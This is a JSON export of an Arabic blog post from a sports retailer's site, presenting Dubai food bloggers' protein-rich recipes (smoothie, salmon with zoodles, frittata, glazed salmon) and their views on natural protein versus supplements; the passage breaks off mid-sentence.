{"id":7174,"date":"2016-04-17T11:31:07","date_gmt":"2016-04-17T07:31:07","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=7174"},"modified":"2019-10-02T02:56:07","modified_gmt":"2019-10-01T22:56:07","slug":"all-about-protein-rich-foods-by-dubais-fit-foodies","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/all-about-protein-rich-foods-by-dubais-fit-foodies\/","title":{"rendered":"\u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0645\u0639 \u062e\u0628\u064a\u0631\u0627\u062a \u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0641\u064a \u062f\u0628\u064a"},"content":{"rendered":"<p class=\"p1\" dir=\"rtl\">\u064a\u0639\u062a\u0628\u0631 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0644\u0644\u0628\u0639\u0636 \u0628\u0645\u062b\u0627\u0628\u0629 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\u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\u060c \u0644\u062a\u062a\u0646\u0627\u0648\u0644\u0647\u0627 \u062c\u0645\u064a\u0639\u0627\u064b \u062f\u0648\u0646 \u0627\u0644\u062d\u0627\u062c\u0629 \u0644\u0644\u062a\u062e\u0644\u064a \u0639\u0646 \u0646\u0645\u0637 \u062d\u064a\u0627\u062a\u0643 \u0627\u0644\u0645\u0639\u062a\u0627\u062f<span class=\"s1\">.<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><span class=\"s1\">1- <\/span>\u0643\u0648\u0643\u062a\u064a\u0644 \u0627\u0644\u0641\u0637\u0648\u0631 \u0627\u0644\u0645\u0641\u0639\u0645 \u0628\u0627\u0644\u0637\u0627\u0642\u0629<\/h5>\n<p class=\"p1\" dir=\"rtl\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6955 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/BrowserPreview_tmp.jpg\" alt=\"\u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0646\u0628\u062f\u0623 \u0628\u0627\u0644\u0645\u062f\u0648\u0651\u0646\u062a\u064a\u0646 \u0623\u062e\u0635\u0627\u0626\u064a\u062a\u064a \u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0645\u0627\u0631\u064a\u0627 \u0623\u0628\u064a \u062d\u0646\u0627 \u0648\u0646\u0627\u062f\u064a\u0646 \u0637\u064a\u0627\u0631\u0629 \u0639\u0628\u0631 \u0645\u0648\u0642\u0639\u0647\u0645\u0627<span class=\"s1\"> <a rel=\"nofollow\" href=\"https:\/\/www.instagram.com\/keepeatreal\/\" target=\"_blank\">@KeepEatReal<\/a>. <\/span>\u0644\u062f\u0649 \u0645\u0627\u0631\u064a\u0627 \u0648\u0646\u0627\u062f\u064a\u0646 \u0647\u062f\u0641 \u0648\u0627\u062d\u062f \u0643\u0635\u062f\u064a\u0642\u062a\u064a\u0646 \u0645\u0642\u0631\u0628\u062a\u064a\u0646 \u062a\u0639\u0634\u0642\u0627\u0646 \u0627\u0644\u0637\u0639\u0627\u0645<span class=\"s1\">: <\/span>\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0647\u0648 \u0623\u0641\u0636\u0644 \u062d\u0644<span class=\"s1\">. <\/span>\u0641\u0628\u0646\u0638\u0631\u0629 \u0648\u0627\u062d\u062f\u0629 \u0625\u0644\u0649 \u0645\u0648\u0642\u0639\u0647\u0645\u0627 \u0639\u0644\u0649 \u0627\u0644\u0625\u0646\u0633\u062a\u062c\u0631\u0627\u0645 \u0633\u062a\u0631\u0649 \u0645\u0648\u062c\u0627\u062a \u0645\u0646 \u0627\u0644\u0646\u0643\u0647\u0627\u062a \u0648\u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0627\u0644\u0645\u0639\u062f\u0651\u0629 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0648\u0627\u0644\u062d\u0644\u0648\u064a\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u0629 \u0631\u0627\u0626\u0639\u0629 \u0627\u0644\u0645\u0630\u0627\u0642<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u064a\u062a\u0623\u0644\u0641 \u0643\u0648\u0643\u062a\u064a\u0644 \u0627\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u0635\u0628\u0627\u062d\u064a \u0627\u0644\u0645\u0639\u062f \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0645\u0646 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\u0627\u0644\u062d\u0645\u0651\u0635<span class=\"s1\">.&#8221;<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><span class=\"s1\">2- <\/span>\u0632\u0648\u062f\u0644\u0632 \u0645\u0639 \u0634\u0631\u0627\u0626\u062d \u0627\u0644\u0633\u0644\u0645\u0648\u0646<\/h5>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6959 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/BrowserPreview_tmp-2.jpg\" alt=\"\u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062a\u0635\u0641 \u0631\u0648\u0627\u0646 \u0643\u0627\u0645\u0644 \u0646\u0641\u0633\u0647\u0627 \u0643\u0623\u0645 \u0639\u0627\u0645\u0644\u0629 \u0628\u0640<span class=\"s1\"> &#8220;<\/span>\u0627\u0644\u0632\u0648\u062c\u0629 \u0627\u0644\u062e\u0627\u0631\u0642\u0629<span class=\"s1\">&#8220;<\/span>\u060c \u0648\u062a\u0636\u0645 \u0645\u062f\u0648\u0646\u062a\u0647\u0627<span class=\"s1\"> <a rel=\"nofollow\" href=\"http:\/\/www.onceuponapot.com\/\" target=\"_blank\">@Once Upon A Pot\u2019s<\/a> <\/span>\u0623\u062d\u062f\u062b \u0635\u064a\u062d\u0627\u062a \u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0645\u0637\u0628\u062e \u0648\u0627\u0644\u0645\u0639\u062f\u0651\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062d\u0641\u0651\u0632\u0647\u0627 \u0639\u0644\u0649 \u0625\u0639\u062f\u0627\u062f \u0648\u0635\u0641\u0627\u062a \u0648\u062a\u062c\u0627\u0631\u0628 \u0644\u0630\u064a\u0630\u0629\u060c \u0648\u0646\u0634\u0631 \u062e\u0628\u0631\u062a\u0647\u0627 \u0625\u0644\u0649 \u0627\u0644\u0639\u0627\u0644\u0645 \u0641\u064a \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0637\u0639\u0627\u0645<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062a\u062a\u0643\u0648\u0646 \u0648\u0635\u0641\u0629 \u0632\u0648\u062f\u0644\u0632 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0631\u0648\u0627\u0646 \u0645\u0646 \u0627\u0644\u0643\u0648\u0633\u0627 \u0627\u0644\u0645\u0628\u0634\u0648\u0631\u0629 \u0648\u062d\u0641\u0646\u0629 \u0645\u0646 \u0627\u0644\u062b\u0648\u0645 \u0648\u0627\u0644\u0645\u0644\u062d \u0648\u0627\u0644\u0641\u0644\u0641\u0644<span class=\"s1\">. <\/span>\u0648\u0647\u064a \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u062a\u0643\u0648\u0646 \u0648\u062c\u0628\u0629 \u063a\u062f\u0627\u0621 \u0645\u0639 \u0642\u0637\u0639 \u0645\u0646 \u0627\u0644\u0633\u0644\u0645\u0648\u0646 \u0643\u0645\u0635\u062f\u0631 \u0645\u0645\u062a\u0627\u0632 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0627\u0644\u0635\u0644\u0635\u0629 \u0627\u0644\u0645\u0639\u062f\u0629 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0645\u0646 \u0627\u0644\u0641\u0627\u0635\u0648\u0644\u064a\u0627 \u0627\u0644\u0633\u0648\u062f\u0627\u0621<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0641\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0631\u0648\u0627\u0646\u060c \u062a\u0643\u0645\u0646 \u0631\u0648\u0639\u0629 \u0644\u0623\u0634\u064a\u0627\u0621 \u0641\u064a \u0628\u0633\u0627\u0637\u062a\u0647\u0627<span class=\"s1\">. &#8220;<\/span>\u0623\u0648\u062f \u0646\u0635\u062d \u062c\u0645\u064a\u0639 \u0627\u0644\u0623\u0645\u0647\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0644\u0627\u062a \u0628\u0627\u0644\u0625\u0644\u0645\u0627\u0645 \u0628\u0645\u0635\u0627\u062f\u0631 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0648\u0642\u0650\u064a\u0645\u0647 \u0636\u0645\u0646 \u0645\u062e\u062a\u0644\u0641 \u0641\u0626\u0627\u062a \u0627\u0644\u0623\u063a\u0630\u064a\u0629<span class=\"s1\">. <\/span>\u0641\u0627\u0644\u0623\u0645\u0631 \u0644\u064a\u0633 \u0645\u062c\u0631\u062f \u062a\u062b\u0642\u064a\u0641 \u063a\u0630\u0627\u0626\u064a \u0648\u0625\u0646\u0645\u0627 \u0645\u0635\u062f\u0631 \u0625\u0644\u0647\u0627\u0645 \u0644\u0637\u0628\u062e \u0648\u062c\u0628\u0627\u062a \u0635\u062d\u064a\u0629<span class=\"s1\">.&#8221;<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0648\u062a\u0636\u064a\u0641 \u0631\u0648\u0627\u0646<span class=\"s1\">: &#8220;<\/span>\u0625\u0646 \u0627\u062a\u0628\u0627\u0639 \u0646\u0638\u0627\u0645 \u063a\u0630\u0627\u0626\u064a \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0628\u0634\u0643\u0644 \u0645\u062d\u062f\u062f \u0642\u062f \u064a\u0643\u0648\u0646 \u0645\u0645\u0644\u0627\u064b \u0644\u0643 \u0628\u0633\u0647\u0648\u0644\u0629<span class=\"s1\">. <\/span>\u0644\u0630\u0644\u0643\u060c \u0648\u0628\u0645\u062c\u0631\u062f \u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0641\u0626\u0627\u062a \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0641\u0625\u0646 \u0623\u0633\u0644\u0648\u0628 \u062d\u064a\u0627\u062a\u0643 \u0633\u064a\u062a\u063a\u064a\u0631 \u0633\u0631\u064a\u0639\u0627\u064b \u0644\u062a\u0643\u0648\u0646 \u0623\u0643\u062b\u0631 \u062d\u0646\u0643\u0629 \u0641\u064a \u0627\u062e\u062a\u064a\u0627\u0631\u0643 \u0644\u0644\u0637\u0639\u0627\u0645 \u062d\u062a\u0649 \u0639\u0646\u062f \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0641\u064a \u0637\u0644\u0628 \u0648\u062c\u0628\u0629 \u0627\u0644\u063a\u062f\u0627\u0621<span class=\"s1\">.&#8221;<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong><span class=\"s1\">3- <\/span>\u0627\u0644\u0642\u0631\u0639 \u0627\u0644\u0645\u0634\u0648\u064a \u0645\u0639 \u062c\u0628\u0646 \u0627\u0644\u0641\u064a\u062a\u0627 \u0648\u0627\u0644\u0633\u0628\u0627\u0646\u062e<\/strong><\/h5>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6961 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/BrowserPreview_tmp-3.jpg\" alt=\"\u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0645\u0639 \u062a\u062e\u0635\u0635 \u0643\u0644\u0648\u064a \u0645\u0648\u0627\u0631 \u0627\u0644\u0645\u0632\u062f\u0648\u062c \u0641\u064a \u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0627\u0644\u0628\u0634\u0631\u064a\u0629 \u0648\u0639\u0644\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u0627\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u062a\u0639\u0637\u064a\u0646\u0627 \u0643\u0644\u0648\u064a \u0646\u0638\u0631\u0629 \u0645\u0639\u0645\u0651\u0642\u0629 \u0639\u0644\u0649 \u0643\u0644 \u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u0635\u062d\u0629 \u0641\u064a \u0645\u062f\u0648\u0646\u062a\u0647\u0627 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629<span class=\"s1\"> <a rel=\"nofollow\" href=\"http:\/\/www.chloemoirnutrition.com\/\" target=\"_blank\">Chloe Moir Nutrition<\/a>.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0648\u062a\u0639\u062a\u0628\u0631 \u0627\u0644\u0641\u0631\u064a\u062a\u0627\u062a\u0627 \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0623\u0633\u0647\u0644 \u0627\u0644\u0648\u0635\u0641\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0636\u0645 \u0643\u0645\u064a\u0629 \u0643\u0628\u064a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0645\u0648\u0627\u062f \u0627\u0644\u0645\u063a\u0630\u064a\u0629<span class=\"s1\">. <\/span>\u0648\u0644\u0625\u0639\u062f\u0627\u062f \u0637\u0628\u0642 \u0627\u0644\u0641\u0631\u064a\u062a\u0627\u062a\u0627 \u0627\u0644\u0644\u0630\u064a\u0630\u060c \u064a\u0642\u0634\u0631 \u0627\u0644\u0642\u0631\u0639 \u0648\u064a\u0642\u0637\u0639 \u0625\u0644\u0649 \u0642\u0637\u0639 \u0635\u063a\u064a\u0631\u0629 \u0648\u064a\u062a\u0628\u0651\u0644 \u0628\u0632\u064a\u062a \u062c\u0648\u0632 \u0627\u0644\u0647\u0646\u062f \u062b\u0645 \u064a\u062e\u0628\u0632 \u0641\u064a \u0627\u0644\u0641\u0631\u0646 \u0644\u0645\u062f\u0629<span class=\"s1\"> 30-40 <\/span>\u062f\u0642\u064a\u0642\u0629<span class=\"s1\">. <\/span>\u064a\u062e\u0641\u0642 \u0627\u0644\u0628\u064a\u0636 \u0648\u062d\u0644\u064a\u0628 \u0627\u0644\u0644\u0648\u0632 \u0648\u0627\u0644\u0645\u0644\u062d \u0648\u0627\u0644\u0641\u0644\u0641\u0644 \u0644\u064a\u062a\u0645 \u0635\u0628 \u0627\u0644\u0645\u0632\u064a\u062c \u0628\u0634\u0643\u0644 \u0645\u062a\u0633\u0627\u0648\u064d \u0639\u0644\u0649 \u0627\u0644\u0637\u0628\u0642<span class=\"s1\">. <\/span>\u062a\u0646\u062b\u0631 \u062c\u0628\u0646\u0629 \u0627\u0644\u0641\u064a\u062a\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d \u0645\u0639 \u0627\u0644\u0635\u0646\u0648\u0628\u0631 \u0627\u0644\u0645\u062d\u0645\u0635 \u0644\u064a\u0639\u0627\u062f \u0627\u0644\u0637\u0628\u0642 \u0625\u0644\u0649 \u0627\u0644\u0641\u0631\u0646 \u0644\u0645\u062f\u0629<span class=\"s1\"> 30-40 <\/span>\u062f\u0642\u064a\u0642\u0629 \u0623\u062e\u0631\u0649<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0648\u062a\u0642\u0648\u0644 \u0643\u0644\u0648\u064a \u0639\u0646 \u0646\u0638\u0627\u0645\u0647\u0627 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0627\u0644\u064a\u0648\u0645\u064a\u060c \u0625\u064a\u0645\u0627\u0646\u0627\u064b \u0645\u0646\u0647\u0627 \u0641\u064a \u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u062d\u0641\u0627\u0638 \u0631\u0634\u0627\u0642\u062a\u0647\u0627 \u0648\u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0637\u0639\u0627\u0645 \u0627\u0644\u0635\u062d\u064a<span class=\"s1\">: &#8221; <\/span>\u0623\u0628\u062f\u0623 \u064a\u0648\u0645\u064a \u0628\u0627\u0644\u0641\u0637\u0648\u0631 \u0627\u0644\u0645\u0643\u0648\u0646 \u0645\u0646<span class=\"s1\"> 2 <\/span>\u0623\u0648<span class=\"s1\"> 3 <\/span>\u0645\u0646 \u0627\u0644\u0628\u064a\u0636 \u0627\u0644\u0639\u0636\u0648\u064a \u0645\u0639 \u0627\u0644\u0623\u0641\u0648\u0643\u0627\u062f\u0648 \u0648\u0627\u0644\u0637\u0645\u0627\u0637\u0645 \u0648\u0628\u0639\u0636 \u0627\u0644\u062c\u0648\u0632<span class=\"s1\">. <\/span>\u062d\u064a\u062b \u064a\u062d\u0627\u0641\u0638 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0648\u0627\u0644\u062f\u0647\u0646 \u0641\u064a \u0627\u0644\u0641\u0637\u0648\u0631 \u0639\u0644\u0649 \u0625\u062d\u0633\u0627\u0633\u064a \u0627\u0644\u0643\u0627\u0645\u0644 \u0628\u0627\u0644\u0634\u0628\u0639 \u0648\u064a\u0639\u0632\u0632 \u0645\u0646 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0637\u0627\u0642\u0629 \u062e\u0644\u0627\u0644 \u0623\u062f\u0627\u0626\u064a \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629<span class=\"s1\">. <\/span>\u0648\u0639\u0646\u062f \u0627\u0644\u063a\u062f\u0627\u0621\u060c \u0623\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 \u0627\u0644\u062f\u062c\u0627\u062c \u0623\u0648 \u0633\u0645\u0643 \u0627\u0644\u0633\u0644\u0645\u0648\u0646 \u0645\u0639 \u0627\u0644\u062e\u0636\u0627\u0631 \u0648\u0627\u0644\u0643\u064a\u0646\u0648\u0627<span class=\"s1\">.&#8221;<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0625\u0646 \u0643\u0644\u0648\u064a \u0645\u0646 \u0623\u0634\u062f \u0627\u0644\u0645\u0634\u062c\u0639\u064a\u0646 \u0639\u0644\u0649 \u0627\u0633\u062a\u0647\u0644\u0627\u0643 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0637\u0628\u064a\u0639\u064a<span class=\"s1\">. &#8220;<\/span>\u0623\u0646\u0635\u062d \u0628\u0634\u062f\u0629 \u0628\u0627\u062e\u062a\u064a\u0627\u0631 \u0645\u0635\u0627\u062f\u0631 \u0637\u0628\u064a\u0639\u064a\u0629 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0628\u0627\u0639\u062a\u0628\u0627\u0631 \u0627\u0644\u0645\u0643\u0645\u0644\u0627\u062a \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0639\u0627\u062f\u0629 \u0645\u0627 \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u0648\u0627\u062f \u062a\u062d\u0644\u064a\u0629 \u0635\u0646\u0627\u0639\u064a\u0629 \u0648\u0645\u0643\u062b\u0641\u0627\u062a \u0648\u0633\u0643\u0631 \u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0648\u0645\u0648\u0627\u062f \u062d\u0627\u0641\u0638\u0629 \u0643\u064a\u0645\u064a\u0627\u0626\u064a\u0629<span class=\"s1\">.&#8221;<\/span><\/p>\n<h5 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><span class=\"s1\">4- <\/span>\u0634\u0631\u0627\u0626\u062d \u0633\u0645\u0643 \u0627\u0644\u0633\u0644\u0645\u0648\u0646<\/h5>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6957 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/BrowserPreview_tmp-1.jpg\" alt=\"\u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0644\u0637\u0627\u0644\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u0637\u0639\u0627\u0645 \u062c\u0627\u0646\u0628\u0627\u064b \u0647\u0627\u0645\u0627\u064b \u0645\u0646 \u062d\u064a\u0627\u0629 \u0632\u0647\u0631\u0627\u0621 \u0639\u0628\u062f\u0627\u0644\u0644\u0647<span class=\"s1\">. <\/span>\u0648\u0643\u0623\u0645 \u0641\u062e\u0648\u0631\u0629 \u0628\u0623\u0648\u0644\u0627\u062f\u0647\u0627 \u0627\u0644\u062b\u0644\u0627\u062b\u0629\u060c \u062a\u0639\u062a\u0628\u0631 \u0645\u062f\u0648\u0646\u062a\u0647\u0627<span class=\"s1\"> &#8220;<a rel=\"nofollow\" href=\"http:\/\/cookingwithzahra.com\/\" target=\"_blank\">Cooking With Zahra<\/a>&#8221; <\/span>\u0645\u063a\u0627\u0645\u0631\u0629 \u0641\u064a \u0627\u0644\u0637\u0647\u064a \u062a\u062c\u0645\u0639 \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0635\u062d\u0629 \u0648\u0627\u0644\u0639\u0627\u0641\u064a\u0629 \u0636\u0645\u0646 \u0648\u0635\u0641\u0627\u062a \u0645\u0641\u0639\u0645\u0629 \u0628\u0627\u0644\u0646\u0643\u0647\u0629<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062a\u0642\u062a\u0631\u062d \u0632\u0647\u0631\u0627\u0621 \u0648\u062c\u0628\u0629 \u0641\u064a\u0644\u064a\u0647 \u0633\u0645\u0643 \u0627\u0644\u0633\u0644\u0645\u0648\u0646 \u0643\u0645\u0635\u062f\u0631 \u0645\u0645\u062a\u0627\u0632 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0645\u0639 \u062a\u062a\u0628\u064a\u0644\u0629 \u0627\u0644\u0639\u0633\u0644 \u0648\u0627\u0644\u0623\u0648\u0631\u0627\u0642 \u0627\u0644\u062e\u0636\u0631\u0627\u0621 \u0627\u0644\u0645\u0641\u0631\u0648\u0645\u0629 \u0648\u0633\u0644\u0637\u0629 \u0646\u0648\u062f\u0644 \u0627\u0644\u0641\u0627\u0635\u0648\u0644\u064a\u0627 \u0627\u0644\u062e\u0636\u0631\u0627\u0621<span class=\"s1\">. <\/span>\u062a\u062a\u0643\u0648\u0646 \u0627\u0644\u0635\u0644\u0635\u0629 \u0645\u0646 \u0632\u064a\u062a \u0627\u0644\u0633\u0645\u0633\u0645 \u0648\u0635\u0644\u0635\u0629 \u0627\u0644\u0635\u0648\u064a\u0627 \u0627\u0644\u062f\u0627\u0643\u0646\u0629 \u0648\u0627\u0644\u062b\u0648\u0645 \u0648\u0627\u0644\u0632\u0646\u062c\u0628\u064a\u0644\u060c \u0645\u063a\u0637\u0627\u0629 \u0628\u0627\u0644\u0641\u0644\u0641\u0644 \u0627\u0644\u0637\u0627\u0632\u062c \u0627\u0644\u0645\u0641\u0631\u0648\u0645<span class=\"s1\">. <\/span>\u064a\u062e\u0628\u0632 \u0627\u0644\u0637\u0628\u0642 \u0644\u0645\u062f\u0629<span class=\"s1\"> 7-10 <\/span>\u062f\u0642\u0627\u0626\u0642 \u0628\u0639\u062f \u0623\u0646 \u062a\u062f\u0647\u0646 \u0634\u0631\u0627\u0626\u062d \u0627\u0644\u0633\u0644\u0645\u0648\u0646 \u0628\u0627\u0644\u0635\u0644\u0635\u0629\u060c \u0641\u064a \u062d\u064a\u0646 \u062a\u0646\u0642\u0639 \u0627\u0644\u0646\u0648\u062f\u0644\u0632 \u0641\u064a \u0648\u0639\u0627\u0621 \u0643\u0628\u064a\u0631 \u0648\u062a\u0645\u0632\u062c \u0645\u0639 \u0627\u0644\u0645\u0644\u0641\u0648\u0641 \u0627\u0644\u0635\u063a\u064a\u0631 \u0648\u0627\u0644\u0641\u0644\u0641\u0644 \u0627\u0644\u0645\u0644\u0648\u0646 \u0648\u0627\u0644\u0637\u0645\u0627\u0637\u0645 \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0648\u0627\u0644\u0641\u0644\u0641\u0644 \u0627\u0644\u062d\u0627\u0631<span class=\"s1\">. <\/span>\u062b\u0645 \u062a\u0645\u0632\u062c \u0627\u0644\u0633\u0644\u0637\u0629 \u0645\u0639 \u0635\u0644\u0635\u0629 \u0627\u0644\u062e\u0644 \u0627\u0644\u0637\u0627\u0632\u062c\u0629 \u0648\u0627\u0644\u0641\u0644\u0641\u0644 \u0627\u0644\u0645\u0641\u0631\u0648\u0645 \u0648\u062a\u062e\u0628\u0632 \u0623\u062e\u064a\u0631\u0627\u064b \u0645\u0639 \u0628\u0630\u0648\u0631 \u0627\u0644\u0633\u0645\u0633\u0645 \u0644\u062a\u0642\u062f\u0645 \u0645\u0639 \u0634\u0631\u0627\u0626\u062d \u0633\u0645\u0643 \u0627\u0644\u0633\u0644\u0645\u0648\u0646<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0648\u0648\u0641\u0642\u0627\u064b \u0644\u0632\u0647\u0631\u0627\u0621\u060c \u0644\u064a\u0633\u062a \u062c\u0645\u064a\u0639 \u0645\u0643\u0645\u0644\u0627\u062a \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0633\u064a\u0626\u0629<span class=\"s1\">. &#8220;<\/span>\u0639\u0644\u0649 \u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u0623\u0646\u0646\u064a \u0623\u0641\u0636\u0644 \u0627\u0633\u062a\u0647\u0644\u0627\u0643 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u060c \u0625\u0644\u0627 \u0623\u0646\u0646\u064a \u0623\u0634\u0639\u0631 \u0628\u0623\u0646 \u0627\u0633\u062a\u0647\u0644\u0627\u0643 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0642\u062f \u064a\u0635\u0628\u062d \u0645\u0645\u0644\u0627\u064b \u0648\u062e\u0627\u0635\u0629 \u0639\u0646\u062f \u0627\u0644\u062a\u0645\u0631\u064a\u0646<span class=\"s1\">. <\/span>\u0623\u0639\u062a\u0642\u062f \u0623\u0646 \u0645\u0643\u0645\u0644\u0627\u062a \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0647\u064a \u0645\u0631\u064a\u062d\u0629 \u0648\u062a\u0639\u0645\u0644 \u0628\u0634\u0643\u0644 \u062c\u064a\u062f \u062d\u0642\u0627\u064b\u060c \u0634\u0631\u0637 \u0623\u0646 \u062a\u0639\u0631\u0641 \u0627\u0644\u0643\u0645\u064a\u0629 \u0627\u0644\u0648\u0627\u062c\u0628 \u062a\u0646\u0627\u0648\u0644\u0647\u0627<span class=\"s1\">&#8220;.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0643\u0631\u0628\u0651\u0629 \u0645\u0646\u0632\u0644 \u0645\u062a\u0641\u0631\u063a\u0629 \u0628\u0627\u0644\u0643\u0627\u0645\u0644\u060c \u062a\u0642\u062a\u0631\u062d \u0632\u0647\u0631\u0627\u0621 \u0627\u0644\u062a\u062e\u0637\u064a\u0637 \u0644\u0644\u0648\u062c\u0628\u0627\u062a \u0645\u0633\u0628\u0642\u0627\u064b \u0648\u062f\u0645\u062c\u0647\u0627 \u0645\u0639 \u0645\u0635\u0627\u062f\u0631 \u063a\u0630\u0627\u0626\u064a\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u064a\u0648\u0645\u060c \u0643\u0623\u0641\u0636\u0644 \u0637\u0631\u064a\u0642\u0629 \u0644\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637 \u0623\u0637\u0641\u0627\u0644\u0643<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0644\u0645\u0648\u0627\u0643\u0628\u0629 \u0623\u062d\u062f\u062b \u0627\u062a\u062c\u0627\u0647\u0627\u062a 